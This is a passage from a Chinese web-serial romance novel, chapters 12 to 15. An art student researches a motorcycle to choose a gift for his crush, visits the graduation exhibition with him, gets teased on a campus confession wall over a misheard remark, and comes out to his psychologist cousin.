手机里的景色突然掉转，变成了祁随之。 墨色的头发被海风扬起，日光照耀，像神话故事里摄人心魄的神明。 “我指的是，下次要一起来看吗？” 明暄看着镜头里的祁随之，指尖轻触，打开了自己的摄像头。 他穿着睡衣，最上面两粒扣子没有扣上，领子翻进去了一截儿，遮住了大半锁骨。 “坐你的车吗？”明暄看着屏幕小框里的自己，笑着调整自己的衣领。 衣领被指尖勾住，往外拉的时候带动着轻薄的睡衣荡了荡，露出大半粉白肌肤。 祁随之也笑，没有说话。 “笑什么啊？”明暄问，“不会是说租一个共享电动车带我去海边看日出吧？” 祁随之指尖遮住上扬的唇角：“你要是想的话，也行。” 日光透过玻璃洒在明暄的头发上，他歪了歪头：“那我要是不想呢？” “嘶。”祁随之做苦恼状，“是不想看日出，还是不想坐电瓶车？” “嗯——”明暄拖长尾音，狡黠一笑，“其实吧，我既不喜欢早起，也不喜欢坐电瓶车。” “但如果你陪我的话，就另当别论了。” 12. 第 12 章 周末，明暄睡到大中午才缓缓睁眼。 外面下着小雨，消散了一些夏天的酷热，他随便吃了点儿东西后，打开衣柜换了套衣服。 “你去哪？”靳亚从床上伸出一个脑袋，睡眼迷蒙地看着他。 明暄对着镜子整理着衣领：“出门买点东西。” “回来给我带个饭呗，不想动。”靳亚点了点头，脑袋又闷回了枕头里，“黄焖鸡就行。” 明暄应了声好，拿着伞出了门。 从宿舍楼走到校门口时，叫的车已经停在了路边。 他打开车门坐了上去，歪着头看着窗外的雨景。 他已经想到了要给祁随之送什么礼物，但是他对机车的认知实在有限，只得去4S店探探路。 最近的摩托4s店离学校也有一段距离，下车时已经过了半个小时。 看着红色的“YAMAHA”标牌，明暄没忍住嘟囔了一句：“这牌子不是做乐器的么……” 带着疑惑走进大门，在看到一排排崭新酷炫的摩托车和挂在墙面上的头盔骑行服后，明暄打消了这个疑虑。 店内人不算太多，稍显僻静。 接待的人走到他身边，礼貌地询问他有什么需求。 还没等他开口，就见一男一女熟稔地推门走了进来，对着他旁边的人招了招手：“小乐，忙吗？” 明暄到底不是来买车的，看到身边的人有人找，便自觉地开口：“我先随便看看。” 冉乐习以为常地点了点头：“好，有需要的话叫我就行。” 明暄往前走了几步，看一看头盔，又看一看护具，那边的三个人聊天的声音不算大，但也没刻意压低，一句不差地都传进了明暄的耳朵里。 “买啥啊你俩？”冉乐拍了拍手，搭上了那个男人的肩膀上，“想换车了？” “换个屁，我毕生所爱杜卡迪。”虎哥笑了一声，“小雅昨天护具摔坏了，喊我过来陪她买一套。” 明暄没什么兴趣，从口袋里掏出耳机刚准备戴上。 “靠别提摔车了……”冉乐苦着张脸，“前几天随之不是把车借我骑了么，还没出他家地下室大门我就翻了。” 随之。 明暄合上耳机，塞回了口袋里，漫不经心地晃悠，耳朵却都听着这仨人的动静。 “你真牛逼了。”小雅晃了晃马尾，“随之没骂你？” “别说了，我跟他去维修的时候他那个脸色我都不敢看……”冉乐有些后怕道。 虎哥笑了两声：“你把人老婆摔了，他脸色能好看么。” “不过幸好，他跟那个小可爱发了两条消息后脸色就好了很多，居然一点儿也没怪我。”冉乐说，“感觉很快随之的老婆就不是他的H2了。” 小可爱。 啧。 又是谁？ 什么绿茶名字！ 明暄不动声色地撅了撅嘴。 “我以为随之说着玩的，他居然真把车给你骑了啊。”虎哥说，“你那天在那条巷子里钓鱼执法其实也没派上啥用场。” “放屁，怎么没用，没我钓鱼咱几个就是寻衅滋事懂不？”冉乐瞥了他一眼。 “欸小乐啊，随之那个小可爱你看到照片了不？”小雅一只手撑着下巴，挑眉问道，“我还真挺好奇什么人能让随之这么重视。” “没看着。”冉乐摇了摇头，“但我听到声音了，是个男的。” 男的。 巷子。 钓鱼执法。 小可爱不会是他自己吧！！ 明暄抬起手捂住上扬的嘴角，争取让自己的表情看起来正常。 小可爱。 怎么会有这么可爱的称呼啊！！ 明暄打开手机，翻出祁随之朋友圈里的一张机车图，适时地对着那边儿聊天的三个人喊了一声：“您好！” “欸欸，来了。”冉乐对着身边的两个人比了个手势后，便走到了明暄的身边，“有什么需要么？” 明暄拿着手机，屏幕朝向着冉乐，让他看清楚屏幕上的内容。 冉乐瞪大了眼睛：“嗯？” “那个，我是想问一下这个车是什么型号，我逛了一圈都没有看见这个配色的……”明暄眨了眨眼看着冉乐。 “这不随之的车么，这张还是我拍的啊。”冉乐的回答牛头不对马嘴，他抬眼看了看明暄，又看了看屏幕，“你认识随之啊？” 明暄努力抑制住上扬的嘴角，状似平静地点了点头：“嗯，是朋友。” “还挺有缘，随之也是我们朋友，我冉乐。”冉乐冲着另外俩人努了努嘴，“这小雅，这虎哥，我们和随之都一块儿玩车的。” 说完后，冉乐冲着旁边站着的俩人招了招手，示意他们过来。 明暄站得笔直，像个乖宝宝一样看着面前的人：“小雅姐好，虎哥好，我叫明暄。” 小雅抬起手挥了挥：“你好呀。” “咋不叫我乐哥？”冉乐“啧”了一声。 明暄还没来得及开口就被虎哥打断了。 “因为你是弟弟，懂不？” 明暄抬手遮着鼻子遮住了自己的笑。 “你是要买他这车？”冉乐冲虎哥比了个中指，视线落在了明暄的身上，他打量了一下明暄的小身板，“听哥们一句劝，他这个车没点儿体重是压不住的。” “我不买。”明暄笑了笑，“我就想了解了解。” “哦——”冉乐似是而非地点了点头，“他这个跟这个店不是一个牌子，这店雅马哈，他那个是川崎，Kawasaki，S市有一家，离这十万八千里。” “不过你要想知道点什么我可以告诉你，省的你再跑一趟。” 明暄眨了眨眼看着他：“不太好吧，会不会耽误你工作啊？” “我哥的店，我来帮忙的，不给开工资。”冉乐毫不在意地挥了挥手，“不耽误。” “那谢谢你！”明暄笑得乖巧。 “明暄刚刚拿着我给随之拍的车说想了解了解，都是随之的朋友咱就一块儿聊呗。”冉乐回过身对另外俩人说说。 几个人坐在4s店一旁的沙发上，冉乐给几个人倒了水，大剌剌地坐下：“你不想买车，那是想问什么？” “我对机车没有研究嘛。”明暄稍显歉意地笑了笑，“之前祁随之帮了我点儿忙，就想着投其所好送他点东西，我看祁随之很宝贝他这辆车的样子，就想问问关于这辆车的消息。” “是想送护具头盔这种么？”小雅翘着二郎腿，风情万种地将耳边的头发拨到耳后，“他不会收应该，他的护具和头盔都只用一款，不会换别的牌子。” “这样啊。”明暄点了点头，“他这辆车叫什么啊？是他最喜欢的吗？” “随之这辆车是NinjaH2，他确实宝贝，不过我记得他一直想搞一辆H2R吧？”冉乐说，“但是H2R只能跑赛道，不能上路，对他现在来说性价比不高，就一直没搞。” “感觉他买也是时间问题了。”小雅说，“随之后面肯定跑比赛的。” 明暄打开备忘录开始认真记笔记。 虎哥瞪大了眼睛：“等等，你不会想送车吧？H2R七十多万呢？？” “没没没。”明暄赶忙摇头。 倒也不是送不起，只是这么贵重的礼物，祁随之肯定不会收罢了。 “那你想送什么，我还挺好奇的。”小雅说。 明暄保存好备忘录，放下手机，狡黠地笑了笑：“秘密。” “噫——”冉乐无语。 “肯定不能让你们告诉祁随之啊。”明暄说，“不然惊喜都没了。” “还惊喜，什么关系啊你们俩？”小雅笑着问。 明暄鼓了鼓嘴：“朋友嘛。” “行吧。” 明暄乐呵呵地笑了两声，祁随之的几个朋友都挺好相处的，倒也没再被追问。 回去之前冉乐加了明暄的微信，说有什么不懂的可以接着问他，明暄道了谢后便加上了。 川崎Ninja H2R。 明暄打开搜索引擎，搜索这辆车。 H2R和祁随之现在的那辆车粗看过去差别似乎不太大，都是同样的配色，但细看过去…… H2R的车头是没有车灯的，后视镜也被两片定风翼所替代，材质和H2也不是同种，变成了质量更轻的碳纤维。 真帅啊。 就连明暄这样一个机车牌子都不认识的人，都看得出这辆车到底有多帅。 他将图片保存了下来，打开微信，找到了隔壁雕塑系的一个朋友，点进了对话框。 【明暄：嗨，跟你说个事儿】 【明暄：能教我玩泥巴吗？】 13. 第 13 章 “我都跟你说了一万次了，我这叫雕塑，不叫玩泥巴。”苏明辞打开宿舍的门，把明暄迎了进去。 “哦哦。”明暄走进他的宿舍，熟稔地和其他三个人打了个招呼后，靠着苏明辞的桌子站定，“雕塑，雕塑。” “你不是一直觉得雕塑埋汰吗，怎么突发奇想想学这个？”苏明辞问。 明暄鼓了鼓嘴：“那确实埋汰啊，我上次在宿舍看到你带一身泥巴回来我还以为你摔沟里了。” “呵。”苏明辞冷笑了一声，“你觉得你们油画的好到哪里去？油漆工。” “先不跟你贫。”明暄抿了抿唇，“你说我从头开始学，学会雕一个小东西需要多久啊？” “多小的东西？”苏明辞问。 明暄在苏明辞的桌上看了看，伸手拿过了他桌面上的一包抽纸：“大概这么大？” “悟性高又不是很难的话……”苏明辞想了想，“应该不用多久吧，你要做什么，给我看看。” 明暄应了声好，从口袋里掏出手机，把那辆机车的图片放大递给了苏明辞。 “我想雕这个。”明暄说，“如果轮子能动的话就更好了，哦对能不能装LED让尾灯也能亮啊？哦对还有，这种碳纤维的材质能做出来吗？” 苏明辞看了看屏幕，又看了看明暄，弯着嘴角露出了一个十分礼貌的微笑：“明暄啊。” “在呢。”明暄举手。 “我把你当哥们。”苏明辞推了推眼镜，笑容不减分毫，“你把哥们当许愿池的王八？” “我没有。”明暄放下手立正站好，看上去又乖巧又听话，“王八不长你这样。” 苏明辞真想给明暄一个大比斗。 “你这样。”苏明辞说，“你打开淘宝，然后识图搜索，关键词搜手办模型，那个应该能满足你的要求。” 明暄想也没想地摇头：“那多没心意。” “我拿一坨泥巴让你搓个轮胎你都不一定能搓出来，还心意！” 明暄歪着头看他：“那叫雕塑，什么玩泥巴，严谨点儿。” 苏明辞：。 “真要做？”苏明辞叹了口气，“你做出来首先肯定没有你说的效果，并且丑话说在前面啊，你最后的成品跟这个图，大概率没有半毛钱关系。” “试试呗，万一我是雕塑天才呢？”明暄毫不在意地开口。 “急么，不急的话等下个学期吧，这会儿期末赶作业。”苏明辞说。 “好嘞！”明暄火速点头，“下个学期你的泥巴我包了！” “你说的啊？”苏明辞挑了挑眉。 “我说的我说的。”明暄笑眯眯地点了点头，“我明天就买个铲子去学校门口那个绿化带给你铲泥巴！” 苏明辞的三个室友听到都没忍住发出了“噗嗤”的笑声。 “明暄。”苏明辞看着他皮笑肉不笑，“你要真敢挖泥巴给我送过来我就刨个坑给你扔进去。” 明暄嘿嘿一笑，闪身窜到宿舍门旁：“溜咯！” “滚蛋！” 苏明辞的声音大到在楼层回音。 · 毕设展会开办在S大的美术馆内，一连举办一个月，向外界开放，同时开放线上展览。 明暄穿着蓝色的T恤，搭了一条白色背带裤，背带裤的中间有个大口袋，口袋上绣了一只Q版的小熊。 他站在T大门口，时不时看两眼手机。 这会儿正是毕业离校的高峰期，周围提着行李行色匆匆的人宛如洪流，但也有推迟了自己的返校时间，三五成群挽着手揽着肩膀出去玩儿的。 没一会儿，T大门口走出了熟悉的人影。 祁随之穿着一件白T恤，又在外面披了一件长到膝盖的白衬衫，衬衫的袖口被挽起。 “你好像要上手术台了。”明暄三两步走上前，抬手勾了勾他的衬衫，笑着打趣道。 祁随之低下头看了一眼自己的穿搭，沉默住了。 “走吧，晚一点顺便带你去我们学校逛逛。”明暄学着祁随之握他手腕的样子，抬手去握住祁随之的手腕。 明暄不能像祁随之那样，将他整个手腕都拢住，但那块儿纹身却被他包裹进手心里。 他做贼似的，小心翼翼地用指腹在他的手腕上摩挲。 祁随之垂眸看着他的小动作，感受着手腕传来的柔软触感。 “明暄。”他突然开口。 明暄微张着嘴回过头看他：“啊？” “别搓了。”祁随之的声音里带着笑意，“纹身贴，再搓该掉了。” “啊？？”明暄睁大了眼睛，下意识地松开了手，“真的假的？” 祁随之伸出手腕摆在他面前：“假的。” 明暄：“……我真无语。” 祁随之好笑地拍了拍他的脑袋，和他肩并着肩，朝着美术馆的方向走，扫码获取地图后，两个人走了进去。 今天不是周末，即使毕设展对外界开放，但在里面逛展子的人大多数都是本校或者附近学校的学生。 但尽管如此，美术馆里的人也不算少。 “每个学院有不同的区域，”明暄向前跨了一步，面对着祁随之歪着头看他，“你想先看哪个？” “第一次看展，还真不知道先看哪个，要么你给推推？” 明暄点了点头，打开手机里的地图看了一眼油画系的位置后，将手机熄屏直接塞进了背带裤前胸的大口袋里：“那就先看我们系的吧！” 祁随之不置可否，一边左右打量一边跟在明暄身后往油画系的区域走去。 展出的画有的意思浅显，是人物或者风景，但是有的却琢磨不透。 祁随之站在一张绿雾蒙蒙的油画面前，细细打量，始终没看出来画的是什么东西。 “小画家。”祁随之回过头，看到了还再往前走的明暄，抬手勾了一下他的背带，“不是给我做讲解员吗，怎么走这么快？” 明暄裤子背带被勾住，胸前一紧，转过身的时候又因为脚下打滑，在空中转了个不太利索的圈儿。 好在没摔，不然就丢人了。 欲盖弥彰地清了清嗓子，明暄看向祁随之：“哪一幅？” 祁随之伸手指了面前的那副：“这个。” 明暄抿着唇掐着自己的下巴看了有一会儿后—— “没看明白，等会啊，我看看作品介绍。” 他蹲了下去，看向了这幅画底下的小牌子。 没一会儿，明暄仰起头，从上往下看着祁随之：“这幅画叫人生，我看看简介啊。” 祁随之垂眸，直视着他的眼睛。 “咳。”明暄清了清嗓子，郑重地开口，“作品简介就两个字，浮萍。” 祁随之愣了愣：“啊？” 明暄撑着膝盖站起身看着这幅画：“画的是浮萍，就是河面上经常会有的那种绿色的东西。” “这跟人生有什么关系？” “人生如浮萍嘛。”明暄耸了耸肩膀，“漂泊，无法决定命运。” 祁随之盯着这副画看了好一会儿，无奈地笑了笑：“怪抽象的。” “正常的。”明暄说，“有些画不配上简介真的看不明白，有的时候我都觉得学画画的首先就要学会糊弄人，画得再抽象，只要作品内涵能把老师说服就行。” “哦？”祁随之的视线从画上挪开，落在了明暄的脸上，“那你会糊弄人吗？” 明暄仰起头拍了拍胸口：“我，真诚小子，从不糊弄。” 祁随之好笑地看着他：“真诚小子，接下来逛什么展？” 从油画逛到版画，从版画逛到雕塑，再从雕塑逛到实验艺术。 从美术馆出来后，明暄伸了个懒腰，蓝色的T恤从背带裤的侧面钻了出来，露出小块儿白皙肌肤。 “有没有感觉自己陶冶了情操？”明暄促狭地看着祁随之。 祁随之十分实诚地摇头：“我感觉我这辈子可能是理解不了艺术了。” 夕阳洒下，明暄笑得开怀。 “趁着我陶冶了为数不多的情操。”祁随之看了一眼时间，“能去看看你画画的地方吗？” “当然可以啊。”明暄爽快点头，“不过你要做好心理准备，我们画室……和电影电视剧里可不一样，脏乱的像垃圾堆。” 祁随之点头说好。 明暄走在祁随之身前，带着他走进了教学楼。 拧开门走进熟悉的画室，画室里摆着他们小组所有人的结课作业。 “等！等等！”明暄立马转过身站在门口，张开双臂拦住了祁随之进去的动作，“换一间！” 祁随之微微偏过头，透过明暄，看见了那副显眼的机车和跨坐在机车上的人。 他站定抱臂，看着明暄：“为什么要换一间？” 明暄支支吾吾，飞快动脑。 “这间画室好多画还没画完！” “这样啊。”祁随之了然地点点头，冲着面对着大门的那张画扬了扬下巴，“你也没画完吗？” 明暄猛地回头。 卧槽？ 他画了好几天的那副画和祁随之面对着面。 “那个……”明暄低下头看着自己的脚尖，“我不是故意画你的。” 祁随之拿腔拿调地点头：“哦？画的是我啊。” 明暄尴尬地“砰”地一声把门关上，二话不说侧过身就往前走。 祁随之转过身，抬手握住了他的手腕，却没握紧。 变成了牵手。 他的声音里藏着笑。 “去哪？我好像突然又对艺术产生兴趣了。” 14. 第 14 章 “好看，你这张画上往上面也抹了奶油吗？”祁随之站在这副画面前看了好长时间，偏过头问道。 明暄背着手低着头站在他的旁边，像一个做错事的小孩子，听到祁随之问话抬起了头：“啊？什么抹奶油？” “不是你上次跟我说的吗。”祁随之说，“画画嘛，急了什么都往画上抹，你还抹过小蛋糕。” “不是啊。”明暄说，“不是抹奶油，奶油抹上去会塌的，是用蛋糕坯沾颜料往画上盖。” 说完后，他又低下了头，变成了刚刚那副委屈小孩的模样。 “怎么了？这么不想让我看见这幅画啊。”祁随之看着他的样子觉得好笑，抬手捏了捏他的肩膀。 “侵权呢……”明暄嘟囔道，“我们小画家版权意识很强的。” 祁随之扬了扬眉毛：“没关系，我不介意。” 明暄抬起头，撞进祁随之的眼底。 像是错觉，祁随之的眼神看上去很深情。 “好啦好啦，看完了看完了——”明暄转了个方向，绕到祁随之的身后，推着他的腰往前走，“我饿了，去吃饭。” 祁随之被他一推一步走到门口，含着很轻的笑拉开画室的门往外走。 明暄光顾着推人，没记着看路，“啪”地一下被门槛儿绊了一跤，整个人往前一栽，小翘挺巧的鼻子撞在了祁随之的背上。 “嘶——”他往地上一蹲，抬手捂住了鼻子，眼角冒出了酸出来的泪花。 祁随之停住脚步，回过身在明暄的面前蹲了下来，掰开他捂着鼻子的手凑过去看：“怎么了？” “你太硬了吧……”酸涩感上头，明暄五官皱成一团儿，“好酸。” 一瞬间，走廊空气凝滞。 三两稀疏的行人听到这危险的发言，都震惊地看着这两个蹲在地上的人。 大白天的……就玩这么大吗…… 余光看到旁人的表情，祁随之往前凑了凑，抵在明暄的耳尖小声道：“别乱说话。” 明暄揉着发酸的鼻子，委屈地控诉道：“本来就是嘛！” 片刻间，走廊里稀稀拉拉传来掩饰的咳嗽声。 明暄疑惑地抬起头，看到了祁随之无奈的表情和其他人吃瓜的表情。 卧槽！ 意识回拢，明暄突然意识到自己说了什么乱七八糟的东西，绯红染上耳尖。 他呆愣了两秒，手掌一撑地板站了起来，不由分说地拽着祁随之的手腕往下跑。 头发被风吹乱，跑下来的路上背带裤的肩带也耷拉下一条，悬挂在臂弯上。 明暄撑着膝盖喘气儿。 “跑什么？”祁随之好整以暇地看着他。 “我能不跑吗！”明暄的声音还带着点儿喘，要不是体力不允许，祁随之都感觉他要跳起来了，“我的妈呀我都说了什么……” 祁随之走到他身旁，顺了顺他的背：“你说我后背硬，你鼻子撞酸了。” “但我好像没说后背，也没说鼻子。“明暄嘴一撇，“我说你硬，我酸。” 祁随之看着他，抬手遮着嘴角咳了一声：“我求你了，你可别说了。” 都是成年人，话里带着的废料没有人听不出来。 明暄尴尬地脚趾扣地，脸红成一片。 反倒是祁随之像个没事人一样，替他勾起了滑落的背带：“饿了，去吃饭吧。” 明暄喘匀了气儿，跟在他身后。 看着祁随之云淡风轻的步伐，明暄暗暗咬牙—— 心态真好，向你学习。 这会儿正值饭点，食堂里不仅有还没急着回家的学生，还有其他地方来看展顺便吃顿饭的其他人，乍一看过去反倒比平常人更多的样子。 “好多人啊。”明暄看着这个场面没忍住感叹道，“先去找个空位吧？” “行啊。”祁随之环顾了一圈，抬手指了个角落的位置，“那里有空。” “那我去排队，你先去占座？”明暄说，“你要吃什么？” “跟你一样就行。” 明暄点头，转过身站在了排着的长队后面。 他是不怎么进食堂的，食堂里各种各样菜的味道和不同的香水味、汗味混在一起，闻着不是很舒服。 回过头，祁随之安安静静地坐在空位上，手里拿着车钥匙把玩，心有灵犀似的抬头看向了明暄，偏了一下头，示意怎么了。 明暄弯着唇角摇了摇头。 回到祁随之身边的时候，明暄把手上的餐盘放在桌上，推了一份到祁随之面前。 “其实我没怎么吃过学校食堂。”他坐下来，把筷子递了过去，“上一次进食堂还是在你们学校。” 祁随之把车钥匙放在一边，接过筷子：“不爱吃？” “倒也不是。”明暄摇头，夹了一筷子西兰花塞进嘴里，鼓着腮帮子慢吞吞地嚼，像个囤粮的仓鼠，“就不怎么往这边走。” 两个人一边吃饭，一边有一搭没一搭地聊天，直到食堂从人满为患变得空旷。 玻璃窗外是橘色的落日。 “送你回学校吧？”明暄站在余晖下，仰头看着面前的人。 “我不住学校。”祁随之开口， “你要送我回家？” “啊？”明暄有些呆。 这算什么？？ 怎么就快进一大步要一起回家了？？ 没名没份的，这多不好…… “这、这就不了吧？”他抬手搓了搓脸，“你回家路上注意安全，下个学期见。” 祁随之点点头，转过身背对着他冲他招手。 晚霞从骨节分明的指缝间洒下来。 他听见了祁随之的回答：“好，下个学期见。” 回到宿舍，明暄从角落里抽出自己的行李箱，打开衣柜收拾行李，靳亚坐在自己的位置上，戴着耳机无所事事地看电影。 何征在所有课程都结完后就找他女朋友去了，宋秉兼今早也回了家，位置也空了下来，只剩他和靳亚两个人还没离校。 “你不收拾东西啊？”明暄蹲久了腿麻，索性一屁股坐在了地上。 “明天中午的车，明早再收。”靳亚说，“你今天一天干什么去了？逛毕业展？” 明暄叠着衣服，头也没抬：“是啊。” “一个人逛不叫我？”靳亚的语气中充满了哀怨。 明暄两腿一抻，把行李箱卡在腿间，抬头朝着靳亚嘿嘿一笑：“谁说我是一个人，约会呢。” “和那个机车哥啊？”靳亚摇头晃脑地“啧啧啧”，“还约会，你单方面的约会吧？” 明暄眉毛一皱，打开手机唰唰打字。 “约会，是两个人预约会面的一种，原指预先约定时间地点会面的活动。约定会面，包含了朋友同事之间或者恋爱的约定的会面。*”明暄对着手机上显示出来的“约会”的定义一字不差地念了出来，“什么叫单方面！” 靳亚被他突然放大的声音吓了一跳，听他说完后无语地将视线转会电脑屏幕上：“懒得理你。” 明暄朝着他做了个鬼脸，低下头接着收拾东西。 家里有单独的一间画室供他画画，明暄只需要带衣服鞋子之类的回家就够了。 那个钱包要不要带回家呢…… 放在宿舍两个月，万一宿舍楼进贼了…… 想了好一会儿，他仰着头拉开了抽屉，坐在地上反手在抽屉里摸索。 靳亚起身的时候看到的就是这样的明暄。 “卧槽，扭成这样我他妈以为你变异了。”靳亚居高临下地欣赏他扭曲的姿势，“干什么呢你？” “拿东西。”明暄的指尖碰到了钱包的皮面，微微抬起屁股，手再往里抻了些，两根手指艰难地夹起了那个钱包。 累得他直喘气儿。 靳亚走到何征的桌前，打开了抽屉翻找了一遍，给手机那头的人发了条语音：“没看着有钥匙啊，你是不是半路弄丢了？” “不知道，你有我们学校表白墙吗，帮我问问呗。”何征的声音从手机里传出来。 “怎么啦？他钥匙弄丢了？”明暄撑着地板站起身，拍了拍手走到靳亚身边，凑过头去看他的手机屏幕。 “嗯，说是陪女朋友玩了两天回家发现钥匙没了，不知道是在学校还是在半路弄丢了。”靳亚说，“让我发个表白墙碰碰运气。” 他们学校表白墙上除了失物招领就是人海里捞心动嘉宾，明暄没什么兴趣，何征之前上了一次这个表白墙后，表白墙的Q/Q就被他女朋友一气之下删掉了。 靳亚没事儿喜欢看乐子，这个账号就一直留在了自己的联系人列表里。 他打开表白墙的对话框，写明了时间和可能丢失的地方发送后，点进了表白墙的空间，漫不经心地刷着。 明暄收拾完洗完澡出来，就看见靳亚一脸怪笑地看着他。 “怎么了你？”明暄歪着头擦头发问道。 “刚在表白墙看到个劲爆的东西，给你看看给你看看。”靳亚不由分说地把手机塞进了明暄的手里。 明暄点开图片，轻声念到—— “墙好，有两句话想说。最近是离校日学生都走了不少不假，但有的小情侣也不要太喜欢找刺激，大白天在画室做些不该做的事，不是所有人全都离校了的，也没人想听小情侣说什么硬不硬酸不酸的话。不认识不点名，单纯说现象。” 明暄：……？？ 靳亚抽回手机，“我都惊了，你说是哪个学院的人这么开放啊？不会是咱学院的吧？” 明暄扯了扯嘴角，这事儿怎么传成了这样啊，真离谱！！ 他扯出来的笑容里带着些许苦涩。 “不是这样的，你听我跟你解释。” 靳亚疑惑：“你解释什么？” 问完反应了过来，猛地一拍脑袋：“卧槽！是他妈你？！” 明暄沉默地闭上了眼：“你听我解释。” “我听你狡辩。”靳亚似笑非笑地点头看他。 明暄把下午在画室里发生的事儿从头到尾解释了一通，果不其然，得到了靳亚的一通爆笑。 “我真服了你了明暄哈哈哈哈哈！！！”靳亚笑得发颤，说话的声音都在抖，“到底多硬啊？” 明暄抬手摸了摸鼻梁，酸涩感好似在眼前，他叹了口气。 “真的好硬。” 15. 第 15 章 飞机划过云层。 明暄拉上遮光板，仰靠着从背包里掏出在宿舍积灰半年，前一天晚上刚充满电的switch。 插上游戏卡，明暄操控着小鱿鱼化成墨汁跳进水井，玩着单人模式打发时间。 有些心不在焉。 靳亚的嘲笑还言犹在耳。 在闯关失败后，明暄把switch塞回了背包里，拿着手机连接wifi。 他打开Q/Q，找到S大的表白墙，悄咪咪地点进了对方的空间。 表白墙里每天发的东西很多，昨晚看到的那一条已经被刷到了很下面，明暄点了进去，甚至看到点赞列表里的靳亚。 真该死啊！ 明暄截了张图，打开微信发给了祁随之。 【明暄：谢谢，不想活辣！】 对了，S大有表白墙的话…… 明暄退出微信，按照S大表白墙的id格式搜索T大的表白墙。 他脑袋靠着挡光板，柔软的头发贴着面颊，有些痒。 搜到了！ 不知为何，明暄有些心虚地坐直了身子四处张望。 旅途无趣，旅客们一个两个都靠在座椅上昏昏欲睡，并没有人关注他在干什么。 明暄握着手机躬下身子，做贼似的翻看T大的表白墙。 “寻物启事……寻物启事……表白国贸系……”明暄一边看，一边用气音小声念叨，“祁随之这么出众都没人表白他的啊？” 翻了七八分钟后—— “墙你好，捞人！西二教下课看到的帅哥！礼貌询问大几哪个系哪个班的叫什么有没有女朋友！不匿，谢谢墙！” 这条动态下配了一张照片，有些模糊，但明暄一眼就认出来了照片的中心是谁。 明暄点进这条动态，翻看下面的评论。 [这题我会，我们俄语系大三的] [这题我也会，这位哥大一的时候就常上表白墙，但听他们班人说这人根本不跟同学交际的，lz悬，建议再找一个] [发墙的是大一学妹么，这人挺有名，俄语那个祁随之啊，之前大一骑机车上下课太张扬被学校叫去谈话过来着hhhhh] [听说这人外面一帮骑车的朋友，我的建议是远离吧尽量] [有瓜，细说，爱听] [没瓜，鬼火少年，脾气又差又不好惹，根本不是一路人] 没意思。 明暄努了努嘴，对着最后一条评论回复—— [酸味都溢出屏幕辣] 祁随之那个脾气都叫脾气差，那还能有好脾气的人吗？ 回完这条消息后，明暄也懒得再翻这个表白墙了，熄屏后脑袋一歪，闭上了眼睛。 迷迷糊糊醒来时，飞机已经落地了，明暄打了个哈欠，背着包跟着人群慢悠悠地往行李托运区晃悠。 看着传送带慢慢转，明暄拿起手机，决定先给家里打个电话。 电话那端接的很快，奶奶含着笑的声音传入耳中。 “暄暄呀，到哪里啦？” “我刚下飞机奶奶，在等行李，等会打个车就回去了。” “你现在在机场啊？那你先别急着打车，小昭前脚给我打电话说自己也刚下飞机，你给他打个电话然后你俩一块儿回吧，路上有个伴儿。” 明暄应了声好，挂断了电话。 明昭是明暄的堂哥，比他大了十来岁，平常定居国外，除了过年基本不回国，转念一想，他们俩也有小半年没见面了。 看到自己的行李箱传到眼前，明暄边打着电话边上前拎起箱子。 “明昭！”电话接通的一刻，明暄直接冲着喊了出声。 “……你吓死我了暄暄。”听筒里传来了流水声，“我上厕所呢，差点儿尿出来。” “你在机场厕所吗，我去找你？”明暄说，“我刚刚给奶奶打电话，她说你也刚下飞机，让我和你一起回去。” “在，但你别来找我。”明昭叹了口气，“我洗个手出来了。” “好嘞，我在取行李这儿等你。” 电话挂断后，明暄两腿一跨，坐在行李箱上低着头看手机。 微信有新消息。 【祁随之：这是什么？】 明暄一脚踩在地上，另一条腿在空中晃了晃，闷着头打字。 【明暄：我们学校表白墙，幸好他没拍照没点名，不然我真没法活辣】 【祁随之：这么脆弱啊】 【祁随之：小情侣？】 明暄一愣，昨天靳亚给他看的时候……他好似完全忽视了“小情侣”这三个字儿，这会儿突然被祁随之点出来，有一些错愕。 他好像也还没有确定过祁随之的取向来着…… 【明暄：那个，不是，是这样的】 【明暄：我们美院嘛，民风比较开放，然后就，同性恋也扎堆，所以大伙儿说话也没个把门的……】 【明暄：就，你会介意么……介意的话我解释一下让他删了……】 明暄忐忑地看着手机屏幕，完全没能听见由远及近的脚步声。 “暄暄？”明昭拍了拍明暄的背，“看什么你，给你发消息也不回。” 明暄猛地抬头，坐在行李箱上和明昭对视，他有些尴尬地挠了挠头：“我没注意你发消息了。” 明昭垂眸看了一眼他的屏幕：“就在微信界面也不看我消息，跟谁聊天呢？” “你管我。”明暄从行李箱上跳了下来，握着拉杆跟在了明昭身边，“你怎么突然回来了？” “回来处理点工作上的事情。”明昭说着接过了明暄手上的行李，“我叫了车，先去门口等着吧。” “你那工作还有要回国处理的啊？”明暄问。 手机在手心震动，明暄打开微信。 【祁随之：不介意】 【祁随之：小情侣】 这声小情侣一看就是实打实的玩笑话，明暄却还是不可抑制地红了耳朵。 “嗯啊。”明昭偏过头看他，“热？怎么耳朵这么红？” 明暄把手机往口袋一揣，捂着耳朵摇头：“不热。” 一辆白色的车缓缓停在面前，明昭看了一眼车牌号，提着两个人的行李箱塞进了车后备箱里。 明暄像个大爷一样迈腿往车后座一靠。 “对了暄暄。”明昭关上后背箱，坐进车里关上门，转头看着明暄，“最近情绪怎么样？” “你怎么次次见我次次问？”明暄耸了耸肩，掰着手指头数，“我能有什么不开心的地方啊，人长得好看又有钱，爷爷奶奶疼，专业上还是个小天才——” “打住。”明昭比了个噤声的手势，“再说就不礼貌了。” “你这职业病该改改了。”明暄拍了拍他的手，“我可真怕你回去让爷爷奶奶画房子树人要分析他们的心理状况。” “就你嘴贫是吧？”明昭瞥了他一眼。 “我心理十分健康，情绪十分受控。”明暄顿了一下，小声说，“……不过最近好像也没那么受控。” 明昭听到他这后半句话，整个人猛地坐直了身子，表情肉眼可见地变得紧绷：“嗯？发生什么事儿了？” “你突然坐起来干什么？”明暄疑惑地看着他，伸手拍了拍他的腿，“放松点儿，我大概就，可能是，想谈恋爱了？” 明昭闭眼，卸下了一口气：“就这啊？” “对了哥，”明暄撑着手，脑袋凑到了明昭面前，表情谄媚地不行，“跟你说个事儿。” “别说。”明昭抱臂闭眼，“你喊我哥就没什么好事儿。” “我喜欢的人是个男的。”明暄凑到明昭耳边，小声道。 明昭缓缓睁开眼，和明暄对视。 “然后呢？” “嗯？”明暄没想到明昭的反应这么小，一时间愣住了，“哦哦，就，回头帮我给家里做做思想功课，说道说道。” 过了好一会儿，明昭点头：“嗯，知道了。” “你怎么这么平静啊哥？？”明暄疑惑。 “我，心理医生。”明昭抬手指了指自己，转向再指向明暄，“你，搞艺术的。” “我能有什么不平静的？” 